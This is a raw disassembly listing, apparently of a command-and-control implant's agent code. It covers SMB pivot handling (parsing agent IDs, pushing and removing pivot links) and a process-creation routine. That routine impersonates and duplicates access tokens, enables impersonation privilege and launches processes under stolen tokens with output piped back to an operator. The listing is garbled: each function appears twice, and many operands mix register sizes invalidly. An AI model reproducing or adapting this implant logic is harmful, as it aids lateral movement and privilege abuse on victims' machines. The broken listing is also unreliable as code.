140019506call ParserGetInt32
14001950bmov rcx, rbx
14001950ecall ParserGetInt32
140019513mov r8l, 335
140019519lea rdx, [rip+0x13120]
140019520lea rcx, [rip+62061]
140019527bswap eax
140019529mov r9l, eax
14001952cmov esi, eax
14001952ecall printf
140019533mov rcx, rbx
140019536call ParserDestroy
14001953badd rsp, 64
14001953fmov eax, esi
140019541pop rbx
140019542pop rsi
140019543pop rdi
140019544ret
1400194d0
1400194d0PivotParseDemonID:
1400194d0push rdi
1400194d1mov r9, rcx
1400194d4xor eax, eax
1400194d6mov ecx, 8
1400194dbpush rsi
1400194dcmov r8l, edx
1400194dfmov rdx, r9
1400194e2push rbx
1400194e3sub rsp, 64
1400194e7lea rbx, [rsp+32]
1400194eclea rdi, [rsp+32]
1400194f1rep stosd [rdi], eax
1400194f3mov rcx, rbx
1400194f6call ParserNew
1400194fbmov rcx, rbx
1400194fecall ParserGetInt32
140019503mov rcx, rbx
140019506call ParserGetInt32
14001950bmov rcx, rbx
14001950ecall ParserGetInt32
140019513mov r8l, 335
140019519lea rdx, [rip+0x13120]
140019520lea rcx, [rip+62061]
140019527bswap eax
140019529mov r9l, eax
14001952cmov esi, eax
14001952ecall printf
140019533mov rcx, rbx
140019536call ParserDestroy
14001953badd rsp, 64
14001953fmov eax, esi
140019541pop rbx
140019542pop rsi
140019543pop rdi
140019544ret
1400194d0
140019545
140019545 // align 0x10
140019545 // align 0x10
140019550
140019550PivotPush:
140019550push r15
140019552xor r10l, r10l
140019555push r14
140019557lea r14, [rip+61838]
14001955epush r13
140019560push r12
140019562push rbp
140019563lea rbp, [rip+0x132e6]
14001956apush rdi
14001956bpush rsi
14001956cpush rbx
14001956dsub rsp, 72
140019571mov rsi, [rip+0x12df8]
140019578mov [rsp+56], r10l
14001957dmov [rsp+60], r10l
140019582mov rbx, [rsi+2294]
140019589
140019589loc_140019589:
140019589test rbx, rbx
14001958cje 0x140019790
140019592cmp [rbx+24], 0
140019597je 0x140019787
14001959dmov r12l, 30
1400195a3lea r13, [rsp+56]
1400195a8
1400195a8loc_1400195a8:
1400195a8xor r9l, r9l
1400195abmov rcx, [rbx+24]
1400195afxor r8l, r8l
1400195b2xor edx, edx
1400195b4mov [rsp+40], r9
1400195b9xor r9l, r9l
1400195bcmov [rsp+32], r13
1400195c1call [rsi+860]
1400195c7test eax, eax
1400195c9je 0x1400196ab
1400195cfcmp [rsp+56], 3
1400195d4jbe 0x140019787
1400195daxor r8l, r8l
1400195ddmov rcx, [rbx+24]
1400195e1xor r9l, r9l
1400195e4mov [rsp+32], r13
1400195e9mov [rsp+40], r8
1400195eelea rdx, [rsp+60]
1400195f3mov r8l, 4
1400195f9call [rsi+860]
1400195fftest eax, eax
140019601je 0x14001977e
140019607mov edx, [rsp+60]
14001960bmov ecx, 64
140019610bswap edx
140019612add edx, 4
140019615mov [rsp+60], edx
140019619call [rsi+932]
14001961fmov rcx, [rbx+24]
140019623mov r8l, [rsp+60]
140019628mov r9, r13
14001962bmov r15, rax
14001962exor eax, eax
140019630mov [rsp+32], rax
140019635mov rdx, r15
140019638call [rsi+916]
14001963etest eax, eax
140019640je 0x140019676
140019642mov ecx, 2520
140019647call PackageCreate
14001964cmov edx, 12
140019651mov rcx, rax
140019654mov rdi, rax
140019657call PackageAddInt32
14001965cmov r8l, [rsp+56]
140019661mov rcx, rdi
140019664mov rdx, r15
140019667call PackageAddBytes
14001966cmov rcx, rdi
14001966fcall PackageTransmit
140019674jmp 0x140019692
140019676
140019676loc_140019676:
140019676mov rax, [rsi+2230]
14001967dmov r8l, 276
140019683mov rdx, rbp
140019686mov rcx, r14
140019689mov r9l, [rax+104]
14001968dcall printf
140019692
140019692loc_140019692:
140019692mov ecx, [rsp+60]
140019696mov rdi, r15
140019699xor eax, eax
14001969brep stosb [rdi], al
14001969dmov rcx, r15
1400196a0call [rsi+940]
1400196a6jmp 0x14001977e
1400196ab
1400196abloc_1400196ab:
1400196abmov rax, [rsi+2230]
1400196b2mov rdx, rbp
1400196b5mov r8l, 286
1400196bblea rcx, [rip+61520]
1400196c2mov r9l, [rax+104]
1400196c6call printf
1400196cbmov rax, [rsi+2230]
1400196d2mov edx, [rax+104]
1400196d5cmp edx, 109
1400196d8jne 0x140019772
1400196delea r9, [rip+61528]
1400196e5mov r8l, 290
1400196ebmov rdx, rbp
1400196eelea rcx, [rip+61544]
1400196f5call printf
1400196famov r13l, [rbx]
1400196fdmov rbx, [rbx+32]
140019701mov ecx, r13l
140019704call PivotRemove
140019709lea r9, [rip+61393]
140019710mov rdx, rbp
140019713mov r8l, 296
140019719test eax, eax
14001971bmov edi, eax
14001971dlea rax, [rip+61378]
140019724cmove r9, rax
140019728lea rcx, [rip+61506]
14001972fcall printf
140019734mov ecx, 2520
140019739call PackageCreate
14001973emov edx, 11
140019743mov r12, rax
140019746mov rcx, rax
140019749call PackageAddInt32
14001974emov edx, edi
140019750mov rcx, r12
140019753call PackageAddInt32
140019758mov rcx, r12
14001975bmov edx, r13l
14001975ecall PackageAddInt32
140019763mov rcx, r12
140019766call PackageTransmit
14001976btest rbx, rbx
14001976eje 0x140019790
140019770jmp 0x140019787
140019772
140019772loc_140019772:
140019772mov ecx, 1
140019777call PackageTransmitError
14001977cjmp 0x140019787
14001977e
14001977eloc_14001977e:
14001977edec r12l
140019781jne 0x1400195a8
140019787
140019787loc_140019787:
140019787mov rbx, [rbx+32]
14001978bjmp 0x140019589
140019790
140019790loc_140019790:
140019790add rsp, 72
140019794pop rbx
140019795pop rsi
140019796pop rdi
140019797pop rbp
140019798pop r12
14001979apop r13
14001979cpop r14
14001979epop r15
1400197a0ret
140019550
140019550PivotPush:
140019550push r15
140019552xor r10l, r10l
140019555push r14
140019557lea r14, [rip+61838]
14001955epush r13
140019560push r12
140019562push rbp
140019563lea rbp, [rip+0x132e6]
14001956apush rdi
14001956bpush rsi
14001956cpush rbx
14001956dsub rsp, 72
140019571mov rsi, [rip+0x12df8]
140019578mov [rsp+56], r10l
14001957dmov [rsp+60], r10l
140019582mov rbx, [rsi+2294]
140019589
140019589loc_140019589:
140019589test rbx, rbx
14001958cje 0x140019790
140019592cmp [rbx+24], 0
140019597je 0x140019787
14001959dmov r12l, 30
1400195a3lea r13, [rsp+56]
1400195a8
1400195a8loc_1400195a8:
1400195a8xor r9l, r9l
1400195abmov rcx, [rbx+24]
1400195afxor r8l, r8l
1400195b2xor edx, edx
1400195b4mov [rsp+40], r9
1400195b9xor r9l, r9l
1400195bcmov [rsp+32], r13
1400195c1call [rsi+860]
1400195c7test eax, eax
1400195c9je 0x1400196ab
1400195cfcmp [rsp+56], 3
1400195d4jbe 0x140019787
1400195daxor r8l, r8l
1400195ddmov rcx, [rbx+24]
1400195e1xor r9l, r9l
1400195e4mov [rsp+32], r13
1400195e9mov [rsp+40], r8
1400195eelea rdx, [rsp+60]
1400195f3mov r8l, 4
1400195f9call [rsi+860]
1400195fftest eax, eax
140019601je 0x14001977e
140019607mov edx, [rsp+60]
14001960bmov ecx, 64
140019610bswap edx
140019612add edx, 4
140019615mov [rsp+60], edx
140019619call [rsi+932]
14001961fmov rcx, [rbx+24]
140019623mov r8l, [rsp+60]
140019628mov r9, r13
14001962bmov r15, rax
14001962exor eax, eax
140019630mov [rsp+32], rax
140019635mov rdx, r15
140019638call [rsi+916]
14001963etest eax, eax
140019640je 0x140019676
140019642mov ecx, 2520
140019647call PackageCreate
14001964cmov edx, 12
140019651mov rcx, rax
140019654mov rdi, rax
140019657call PackageAddInt32
14001965cmov r8l, [rsp+56]
140019661mov rcx, rdi
140019664mov rdx, r15
140019667call PackageAddBytes
14001966cmov rcx, rdi
14001966fcall PackageTransmit
140019674jmp 0x140019692
140019676
140019676loc_140019676:
140019676mov rax, [rsi+2230]
14001967dmov r8l, 276
140019683mov rdx, rbp
140019686mov rcx, r14
140019689mov r9l, [rax+104]
14001968dcall printf
140019692
140019692loc_140019692:
140019692mov ecx, [rsp+60]
140019696mov rdi, r15
140019699xor eax, eax
14001969brep stosb [rdi], al
14001969dmov rcx, r15
1400196a0call [rsi+940]
1400196a6jmp 0x14001977e
1400196ab
1400196abloc_1400196ab:
1400196abmov rax, [rsi+2230]
1400196b2mov rdx, rbp
1400196b5mov r8l, 286
1400196bblea rcx, [rip+61520]
1400196c2mov r9l, [rax+104]
1400196c6call printf
1400196cbmov rax, [rsi+2230]
1400196d2mov edx, [rax+104]
1400196d5cmp edx, 109
1400196d8jne 0x140019772
1400196delea r9, [rip+61528]
1400196e5mov r8l, 290
1400196ebmov rdx, rbp
1400196eelea rcx, [rip+61544]
1400196f5call printf
1400196famov r13l, [rbx]
1400196fdmov rbx, [rbx+32]
140019701mov ecx, r13l
140019704call PivotRemove
140019709lea r9, [rip+61393]
140019710mov rdx, rbp
140019713mov r8l, 296
140019719test eax, eax
14001971bmov edi, eax
14001971dlea rax, [rip+61378]
140019724cmove r9, rax
140019728lea rcx, [rip+61506]
14001972fcall printf
140019734mov ecx, 2520
140019739call PackageCreate
14001973emov edx, 11
140019743mov r12, rax
140019746mov rcx, rax
140019749call PackageAddInt32
14001974emov edx, edi
140019750mov rcx, r12
140019753call PackageAddInt32
140019758mov rcx, r12
14001975bmov edx, r13l
14001975ecall PackageAddInt32
140019763mov rcx, r12
140019766call PackageTransmit
14001976btest rbx, rbx
14001976eje 0x140019790
140019770jmp 0x140019787
140019772
140019772loc_140019772:
140019772mov ecx, 1
140019777call PackageTransmitError
14001977cjmp 0x140019787
14001977e
14001977eloc_14001977e:
14001977edec r12l
140019781jne 0x1400195a8
140019787
140019787loc_140019787:
140019787mov rbx, [rbx+32]
14001978bjmp 0x140019589
140019790
140019790loc_140019790:
140019790add rsp, 72
140019794pop rbx
140019795pop rsi
140019796pop rdi
140019797pop rbp
140019798pop r12
14001979apop r13
14001979cpop r14
14001979epop r15
1400197a0ret
140019550
1400197a1
1400197a1 // align 0x10
1400197a1 // align 0x10
1400197b0
1400197b0PivotRemove:
1400197b0push rdi
1400197b1mov r9l, ecx
1400197b4mov edi, ecx
1400197b6mov r8l, 141
1400197bcpush rsi
1400197bdlea rdx, [rip+0x1351c]
1400197c4lea rcx, [rip+61173]
1400197cbpush rbx
1400197ccsub rsp, 32
1400197d0call printf
1400197d5mov rsi, [rip+0x12b94]
1400197dcmov ecx, edi
1400197demov rdx, [rsi+2294]
1400197e5call PivotGet
1400197eatest rdx, rdx
1400197edje 0x140019910
1400197f3test rax, rax
1400197f6mov rbx, rax
1400197f9sete al
1400197fcje 0x140019910
140019802cmp [rdx], edi
140019804jne 0x14001989c
14001980amov rdi, [rdx+8]
14001980emov rbx, [rdx+32]
140019812test rdi, rdi
140019815je 0x14001982d
140019817mov ecx, [rdx+16]
14001981arep stosb [rdi], al
14001981cmov rax, [rsi+2294]
140019823mov rcx, [rax+8]
140019827call [rsi+940]
14001982d
14001982dloc_14001982d:
14001982dmov rax, [rsi+2294]
140019834mov rcx, [rax+24]
140019838test rcx, rcx
14001983bje 0x140019853
14001983dcall [rsi+868]
140019843mov rax, [rsi+2294]
14001984amov rcx, [rax+24]
14001984ecall SysNtClose
140019853
140019853loc_140019853:
140019853mov rdi, [rsi+2294]
14001985axor eax, eax
14001985cxor r9l, r9l
14001985fxor r10l, r10l
140019862xor r11l, r11l
140019865mov ecx, 40
14001986amov [rdi], eax
14001986cxor eax, eax
14001986emov [rdi+8], r9
140019872mov [rdi+16], r10l
140019876mov [rdi+24], r11
14001987arep stosb [rdi], al
14001987cmov rcx, [rsi+2294]
140019883call [rsi+940]
140019889mov [rsi+2294], rbx
140019890
140019890loc_140019890:
140019890mov eax, 1
140019895jmp 0x140019912
140019897
140019897loc_140019897:
140019897test rdx, rdx
14001989aje 0x140019910
14001989c
14001989cloc_14001989c:
14001989cmov rax, rdx
14001989fmov rdx, [rdx+32]
1400198a3cmp rdx, rbx
1400198a6jne 0x140019897
1400198a8mov rdx, [rbx+32]
1400198acmov rdi, [rbx+8]
1400198b0mov [rax+32], rdx
1400198b4test rdi, rdi
1400198b7je 0x1400198ca
1400198b9mov ecx, [rbx+16]
1400198bcxor eax, eax
1400198berep stosb [rdi], al
1400198c0mov rcx, [rbx+8]
1400198c4call [rsi+940]
1400198ca
1400198caloc_1400198ca:
1400198camov rcx, [rbx+24]
1400198cetest rcx, rcx
1400198d1je 0x1400198e2
1400198d3call [rsi+868]
1400198d9mov rcx, [rbx+24]
1400198ddcall SysNtClose
1400198e2
1400198e2loc_1400198e2:
1400198e2xor eax, eax
1400198e4xor ecx, ecx
1400198e6xor edx, edx
1400198e8xor r8l, r8l
1400198ebmov [rbx+8], rax
1400198efmov rdi, rbx
1400198f2xor eax, eax
1400198f4mov [rbx+24], rcx
1400198f8mov ecx, 40
1400198fdmov [rbx+16], edx
140019900mov [rbx], r8l
140019903rep stosb [rdi], al
140019905mov rcx, rbx
140019908call [rsi+940]
14001990ejmp 0x140019890
140019910
140019910loc_140019910:
140019910xor eax, eax
140019912
140019912loc_140019912:
140019912add rsp, 32
140019916pop rbx
140019917pop rsi
140019918pop rdi
140019919ret
1400197b0
1400197b0PivotRemove:
1400197b0push rdi
1400197b1mov r9l, ecx
1400197b4mov edi, ecx
1400197b6mov r8l, 141
1400197bcpush rsi
1400197bdlea rdx, [rip+0x1351c]
1400197c4lea rcx, [rip+61173]
1400197cbpush rbx
1400197ccsub rsp, 32
1400197d0call printf
1400197d5mov rsi, [rip+0x12b94]
1400197dcmov ecx, edi
1400197demov rdx, [rsi+2294]
1400197e5call PivotGet
1400197eatest rdx, rdx
1400197edje 0x140019910
1400197f3test rax, rax
1400197f6mov rbx, rax
1400197f9sete al
1400197fcje 0x140019910
140019802cmp [rdx], edi
140019804jne 0x14001989c
14001980amov rdi, [rdx+8]
14001980emov rbx, [rdx+32]
140019812test rdi, rdi
140019815je 0x14001982d
140019817mov ecx, [rdx+16]
14001981arep stosb [rdi], al
14001981cmov rax, [rsi+2294]
140019823mov rcx, [rax+8]
140019827call [rsi+940]
14001982d
14001982dloc_14001982d:
14001982dmov rax, [rsi+2294]
140019834mov rcx, [rax+24]
140019838test rcx, rcx
14001983bje 0x140019853
14001983dcall [rsi+868]
140019843mov rax, [rsi+2294]
14001984amov rcx, [rax+24]
14001984ecall SysNtClose
140019853
140019853loc_140019853:
140019853mov rdi, [rsi+2294]
14001985axor eax, eax
14001985cxor r9l, r9l
14001985fxor r10l, r10l
140019862xor r11l, r11l
140019865mov ecx, 40
14001986amov [rdi], eax
14001986cxor eax, eax
14001986emov [rdi+8], r9
140019872mov [rdi+16], r10l
140019876mov [rdi+24], r11
14001987arep stosb [rdi], al
14001987cmov rcx, [rsi+2294]
140019883call [rsi+940]
140019889mov [rsi+2294], rbx
140019890
140019890loc_140019890:
140019890mov eax, 1
140019895jmp 0x140019912
140019897
140019897loc_140019897:
140019897test rdx, rdx
14001989aje 0x140019910
14001989c
14001989cloc_14001989c:
14001989cmov rax, rdx
14001989fmov rdx, [rdx+32]
1400198a3cmp rdx, rbx
1400198a6jne 0x140019897
1400198a8mov rdx, [rbx+32]
1400198acmov rdi, [rbx+8]
1400198b0mov [rax+32], rdx
1400198b4test rdi, rdi
1400198b7je 0x1400198ca
1400198b9mov ecx, [rbx+16]
1400198bcxor eax, eax
1400198berep stosb [rdi], al
1400198c0mov rcx, [rbx+8]
1400198c4call [rsi+940]
1400198ca
1400198caloc_1400198ca:
1400198camov rcx, [rbx+24]
1400198cetest rcx, rcx
1400198d1je 0x1400198e2
1400198d3call [rsi+868]
1400198d9mov rcx, [rbx+24]
1400198ddcall SysNtClose
1400198e2
1400198e2loc_1400198e2:
1400198e2xor eax, eax
1400198e4xor ecx, ecx
1400198e6xor edx, edx
1400198e8xor r8l, r8l
1400198ebmov [rbx+8], rax
1400198efmov rdi, rbx
1400198f2xor eax, eax
1400198f4mov [rbx+24], rcx
1400198f8mov ecx, 40
1400198fdmov [rbx+16], edx
140019900mov [rbx], r8l
140019903rep stosb [rdi], al
140019905mov rcx, rbx
140019908call [rsi+940]
14001990ejmp 0x140019890
140019910
140019910loc_140019910:
140019910xor eax, eax
140019912
140019912loc_140019912:
140019912add rsp, 32
140019916pop rbx
140019917pop rsi
140019918pop rdi
140019919ret
1400197b0
14001991a
14001991a // align 0x10
14001991a // align 0x10
140019920
140019920ProcessCreate:
140019920push r15
140019922xor eax, eax
140019924mov ecx, 25
140019929push r14
14001992bpush r13
14001992dpush r12
14001992fxor r12l, r12l
140019932push rbp
140019933mov ebp, r9l
140019936push rdi
140019937push rsi
140019938mov rsi, r8
14001993bpush rbx
14001993csub rsp, 1288
140019943lea rdi, [rsp+140]
14001994bmov [rsp+1368], rdx
140019953mov r14l, [rsp+1400]
14001995brep stosd [rdi], eax
14001995dmov ecx, 89
140019962mov [rsp+128], r12
14001996amov r13, [rsp+1392]
140019972mov [rsp+136], 104
14001997dmov r15, [rsp+1408]
140019985xor r12l, r12l
140019988mov [rsp+196], 257
140019993call PackageCreate
140019998mov edx, 21
14001999dmov rcx, rax
1400199a0mov [rsp+104], rax
1400199a5call PackageAddInt32
1400199aatest r14l, r14l
1400199admov rbx, [rip+0x129bc]
1400199b4je 0x140019a1c
1400199b6lea r9, [rip+0x10a5c]
1400199bdmov r8l, 606
1400199c3lea rdx, [rip+0x13b16]
1400199calea rcx, [rip+0x1099c]
1400199d1call printf
1400199d6mov edx, 16
1400199dbmov ecx, 64
1400199e0call [rbx+932]
1400199e6mov ecx, 16
1400199ebmov r12, rax
1400199eemov rdi, rax
1400199f1xor eax, eax
1400199f3rep stosb [rdi], al
1400199f5mov rcx, r12
1400199f8xor edi, edi
1400199facall AnonPipesInit
1400199ffmov rax, [r12+8]
140019a04mov [rsp+216], rdi
140019a0cmov [rsp+232], rax
140019a14mov [rsp+224], rax
140019a1c
140019a1cloc_140019a1c:
140019a1ctest r15, r15
140019a1fje 0x140019a60
140019a21lea r9, [rip+0x109ff]
140019a28mov r8l, 617
140019a2elea rdx, [rip+0x13aab]
140019a35lea rcx, [rip+0x10931]
140019a3ccall printf
140019a41mov rax, [r15+8]
140019a45xor r11l, r11l
140019a48mov [rsp+216], r11
140019a50mov [rsp+232], rax
140019a58mov [rsp+224], rax
140019a60
140019a60loc_140019a60:
140019a60mov r15l, [rbx+2290]
140019a67test r15l, r15l
140019a6aje 0x140019d49
140019a70lea r9, [rip+0x109cb]
140019a77mov r8l, 641
140019a7dlea rdx, [rip+0x13a5c]
140019a84mov r15l, 260
140019a8alea rcx, [rip+0x108dc]
140019a91lea rdi, [rsp+240]
140019a99call printf
140019a9exor eax, eax
140019aa0mov rcx, r15
140019aa3rep stosd [rdi], eax
140019aa5lea rdi, [rsp+240]
140019aadmov rdx, rdi
140019ab0mov r15, rcx
140019ab3mov ecx, 520
140019ab8call [rbx+996]
140019abetest eax, eax
140019ac0cmovne r15, rdi
140019ac4xor ecx, ecx
140019ac6call TokenImpersonate
140019acbmov ecx, 1
140019ad0call TokenSetSeImpersonatePriv
140019ad5mov r9, rsi
140019ad8mov r8l, 654
140019adelea rdx, [rip+0x139fb]
140019ae5lea rcx, [rip+0x10962]
140019aeccall printf
140019af1lea rcx, [rip+0x1097f]
140019af8mov r9, r15
140019afbmov r8l, 655
140019b01lea rdx, [rip+0x139d8]
140019b08call printf
140019b0dmov rcx, [rbx+2282]
140019b14mov eax, [rcx+20]
140019b17cmp ax, 1
140019b1bjne 0x140019c35
140019b21lea rdi, [rsp+128]
140019b29xor r8l, r8l
140019b2cmov edx, 0xf01ff
140019b31mov [rsp+32], 1
140019b39mov [rsp+40], rdi
140019b3emov rcx, [rcx]
140019b41mov r9l, 3
140019b47call SysDuplicateTokenEx
140019b4ctest eax, eax
140019b4ejne 0x140019ba2
140019b50mov rax, [rbx+2282]
140019b57mov [rsp+40], rdi
140019b5cxor r8l, r8l
140019b5fmov r9l, 2
140019b65mov [rsp+32], 1
140019b6dmov edx, 0xf01ff
140019b72mov rcx, [rax]
140019b75call SysDuplicateTokenEx
140019b7atest eax, eax
140019b7cjne 0x140019ba2
140019b7emov rax, [rbx+2230]
140019b85mov r8l, 664
140019b8blea rdx, [rip+0x1394e]
140019b92lea rcx, [rip+0x10907]
140019b99mov r9l, [rax+104]
140019b9djmp 0x140019d12
140019ba2
140019ba2loc_140019ba2:
140019ba2lea r9, [rip+0x10927]
140019ba9mov r8l, 671
140019baflea rdx, [rip+0x1392a]
140019bb6or ebp, 0x8000000
140019bbclea rcx, [rip+0x107aa]
140019bc3call printf
140019bc8xor r10l, r10l
140019bcbmov [rsp+64], r13
140019bd0mov r9, rsi
140019bd3lea rax, [rsp+136]
140019bdbmov [rsp+48], r15
140019be0mov r8, [rsp+1368]
140019be8mov edx, 2
140019bedmov [rsp+56], rax
140019bf2mov rcx, [rsp+128]
140019bfamov [rsp+40], r10
140019bffmov [rsp+32], ebp
140019c03call [rbx+1356]
140019c09test eax, eax
140019c0bjne 0x140019d3e
140019c11mov rax, [rbx+2230]
140019c18mov r8l, 685
140019c1elea rdx, [rip+0x138bb]
140019c25lea rcx, [rip+0x108bc]
140019c2cmov r9l, [rax+104]
140019c30jmp 0x140019d12
140019c35
140019c35loc_140019c35:
140019c35cmp ax, 2
140019c39jne 0x140019d3e
140019c3flea r9, [rip+0x108d8]
140019c46mov r8l, 693
140019c4clea rdx, [rip+0x1388d]
140019c53or ebp, 0x8000000
140019c59lea rcx, [rip+0x1070d]
140019c60call printf
140019c65mov rax, [rbx+2282]
140019c6cmov r8l, 694
140019c72lea rcx, [rip+0x108bd]
140019c79mov rdx, [rax+32]
140019c7dmov r9, [rax+24]
140019c81mov [rsp+40], rdx
140019c86mov rax, [rax+40]
140019c8alea rdx, [rip+0x1384f]
140019c91mov [rsp+32], rax
140019c96call printf
140019c9bmov rax, [rbx+2282]
140019ca2xor r9l, r9l
140019ca5mov r8, [rax+32]
140019ca9mov rdx, [rax+40]
140019cadmov rcx, [rax+24]
140019cb1lea rax, [rsp+136]
140019cb9mov [rsp+56], r9
140019cbemov r9l, 2
140019cc4mov [rsp+72], rax
140019cc9mov rax, [rsp+1368]
140019cd1mov [rsp+80], r13
140019cd6mov [rsp+64], r15
140019cdbmov [rsp+48], ebp
140019cdfmov [rsp+40], rsi
140019ce4mov [rsp+32], rax
140019ce9call [rbx+1364]
140019ceftest eax, eax
140019cf1jne 0x140019d3e
140019cf3mov rax, [rbx+2230]
140019cfamov r8l, 708
140019d00lea rdx, [rip+0x137d9]
140019d07lea rcx, [rip+0x1085f]
140019d0emov r9l, [rax+104]
140019d12
140019d12loc_140019d12:
140019d12call printf
140019d17mov ecx, 1
140019d1cmov ebp, 1
140019d21mov rax, [rbx+2230]
140019d28mov edx, [rax+104]
140019d2bcall PackageTransmitError
140019d30test r14l, r14l
140019d33jne 0x140019f8f
140019d39jmp 0x140019f7b
140019d3e
140019d3eloc_140019d3e:
140019d3emov r15l, 1
140019d44jmp 0x140019ddc
140019d49
140019d49loc_140019d49:
140019d49xor ecx, ecx
140019d4blea rax, [rsp+136]
140019d53xor r9l, r9l
140019d56xor r8l, r8l
140019d59or ebp, 0x8000000
140019d5fmov [rsp+56], rcx
140019d64mov rdx, rsi
140019d67mov [rsp+48], rcx
140019d6cmov rcx, [rsp+1368]
140019d74mov [rsp+40], ebp
140019d78mov [rsp+72], r13
140019d7dmov [rsp+64], rax
140019d82mov [rsp+32], 1
140019d8acall [rbx+956]
140019d90mov ebp, eax
140019d92test eax, eax
140019d94jne 0x140019ddc
140019d96mov rax, [rbx+2230]
140019d9dlea rdx, [rip+0x1373c]
140019da4lea rcx, [rip+0x107f8]
140019dabmov r8l, 729
140019db1mov r9l, [rax+104]
140019db5call printf
140019dbamov rax, [rbx+2230]
140019dc1mov ecx, 1
140019dc6mov edx, [rax+104]
140019dc9call PackageTransmitError
140019dcetest r14l, r14l
140019dd1jne 0x140019f8f
140019dd7jmp 0x140019f60
140019ddc
140019ddcloc_140019ddc:
140019ddccmp [r13], 0
140019de1je 0x140019f2f
140019de7mov rax, [rip+0x12582]
140019deecmp [rax+224], 0
140019df5je 0x140019f2f
140019dfblea r9, [rip+0x107ce]
140019e02mov r8l, 739
140019e08lea rdx, [rip+0x136d1]
140019e0flea rcx, [rip+0x10557]
140019e16call printf
140019e1btest rsi, rsi
140019e1ejne 0x140019e4f
140019e20mov rdx, [rsp+1368]
140019e28mov rcx, [rsp+104]
140019e2dcall PackageAddWString
140019e32mov rcx, [rsp+104]
140019e37mov edx, [r13+16]
140019e3bcall PackageAddInt32
140019e40mov rcx, [rsp+104]
140019e45call PackageTransmit
140019e4ajmp 0x140019f2f
140019e4f
140019e4floc_140019e4f:
140019e4fmov rcx, rsi
140019e52call StringLengthW
140019e57mov ecx, 64
140019e5cmovsxd rbp, eax
140019e5fmov [rsp+124], eax
140019e63mov rax, [rip+0x12506]
140019e6alea rdx, [rbp+rbp]
140019e6fcall [rax+932]
140019e75mov r8l, [rsp+124]
140019e7amov rcx, rbp
140019e7dmov rdi, rax
140019e80mov [rsp+112], rax
140019e85rep movsb [rdi], [rsi]
140019e87mov rsi, rax
140019e8axor eax, eax
140019e8c
140019e8cloc_140019e8c:
140019e8ccmp eax, r8l
140019e8fjge 0x140019ea2
140019e91cmp [rsi], 32
140019e95lea rdx, [rsi+2]
140019e99je 0x140019ea2
140019e9binc eax
140019e9dmov rsi, rdx
140019ea0jmp 0x140019e8c
140019ea2
140019ea2loc_140019ea2:
140019ea2mov r9, [rsp+112]
140019ea7lea rdi, [rip+0x13632]
140019eaemov r8l, 757
140019eb4lea rcx, [rip+0x104b2]
140019ebbmov rdx, rdi
140019ebecall printf
140019ec3mov eax, [r13+16]
140019ec7mov [rsi], 0
140019eccmov r8l, 760
140019ed2mov r9, [rsp+112]
140019ed7mov rdx, rdi
140019edalea rcx, [rip+0x106fe]
140019ee1mov [rsp+32], eax
140019ee5call printf
140019eeamov rdx, [rsp+112]
140019eefmov rcx, [rsp+104]
140019ef4call PackageAddWString
140019ef9mov edx, [r13+16]
140019efdmov rcx, [rsp+104]
140019f02call PackageAddInt32
140019f07mov rcx, [rsp+104]
140019f0ccall PackageTransmit
140019f11mov rdi, [rsp+112]
140019f16mov rcx, rbp
140019f19xor eax, eax
140019f1brep stosb [rdi], al
140019f1dmov rax, [rip+0x1244c]
140019f24mov rcx, [rsp+112]
140019f29call [rax+940]
140019f2f
140019f2floc_140019f2f:
140019f2ftest r14l, r14l
140019f32je 0x140019fda
140019f38mov edx, [r13+16]
140019f3cmov ecx, [rbx+8]
140019f3fmov [rsp+40], r12
140019f44mov r9l, 1
140019f4amov rax, [r13]
140019f4emov r8l, 3
140019f54mov [rsp+32], rax
140019f59call JobAdd
140019f5ejmp 0x140019fda
140019f60
140019f60loc_140019f60:
140019f60mov rcx, [rsp+128]
140019f68test rcx, rcx
140019f6bje 0x14001a003
140019f71call SysNtClose
140019f76jmp 0x14001a003
140019f7b
140019f7bloc_140019f7b:
140019f7bmov rcx, [rsp+128]
140019f83test rcx, rcx
140019f86je 0x140019ff9
140019f88call SysNtClose
140019f8djmp 0x140019ff9
140019f8f
140019f8floc_140019f8f:
140019f8fmov rcx, [r12+8]
140019f94test rcx, rcx
140019f97je 0x140019fa5
140019f99call SysNtClose
140019f9exor edx, edx
140019fa0mov [r12+8], rdx
140019fa5
140019fa5loc_140019fa5:
140019fa5mov rcx, [r12]
140019fa9test rcx, rcx
140019facje 0x140019fb9
140019faecall SysNtClose
140019fb3xor eax, eax
140019fb5mov [r12], rax
140019fb9
140019fb9loc_140019fb9:
140019fb9mov rdi, r12
140019fbcmov ecx, 16
140019fc1xor eax, eax
140019fc3rep stosb [rdi], al
140019fc5mov rax, [rip+0x123a4]
140019fccmov rcx, r12
140019fcfxor r14l, r14l
140019fd2call [rax+940]
140019fd8jmp 0x140019fe3
140019fda
140019fdaloc_140019fda:
140019fdamov ebp, r15l
140019fddmov r14l, 1
140019fe3
140019fe3loc_140019fe3:
140019fe3mov rcx, [rsp+128]
140019febtest rcx, rcx
140019feeje 0x140019ff5
140019ff0call SysNtClose
140019ff5
140019ff5loc_140019ff5:
140019ff5test ebp, ebp
140019ff7je 0x14001a003
140019ff9
140019ff9loc_140019ff9:
140019ff9mov ecx, 1
140019ffecall TokenImpersonate
14001a003
14001a003loc_14001a003:
14001a003add rsp, 1288
14001a00amov eax, r14l
14001a00dpop rbx
14001a00epop rsi
14001a00fpop rdi
14001a010pop rbp
14001a011pop r12
14001a013pop r13
14001a015pop r14
14001a017pop r15
14001a019ret
140019920
140019920ProcessCreate:
140019920push r15
140019922xor eax, eax
140019924mov ecx, 25
140019929push r14
14001992bpush r13
14001992dpush r12
14001992fxor r12l, r12l
140019932push rbp
140019933mov ebp, r9l
140019936push rdi
140019937push rsi
140019938mov rsi, r8
14001993bpush rbx
14001993csub rsp, 1288
140019943lea rdi, [rsp+140]
14001994bmov [rsp+1368], rdx
140019953mov r14l, [rsp+1400]
14001995brep stosd [rdi], eax
14001995dmov ecx, 89
140019962mov [rsp+128], r12
14001996amov r13, [rsp+1392]
140019972mov [rsp+136], 104
14001997dmov r15, [rsp+1408]
140019985xor r12l, r12l
140019988mov [rsp+196], 257
140019993call PackageCreate
140019998mov edx, 21
14001999dmov rcx, rax
1400199a0mov [rsp+104], rax
1400199a5call PackageAddInt32
1400199aatest r14l, r14l
1400199admov rbx, [rip+0x129bc]
1400199b4je 0x140019a1c
1400199b6lea r9, [rip+0x10a5c]
1400199bdmov r8l, 606
1400199c3lea rdx, [rip+0x13b16]
1400199calea rcx, [rip+0x1099c]
1400199d1call printf
1400199d6mov edx, 16
1400199dbmov ecx, 64
1400199e0call [rbx+932]
1400199e6mov ecx, 16
1400199ebmov r12, rax
1400199eemov rdi, rax
1400199f1xor eax, eax
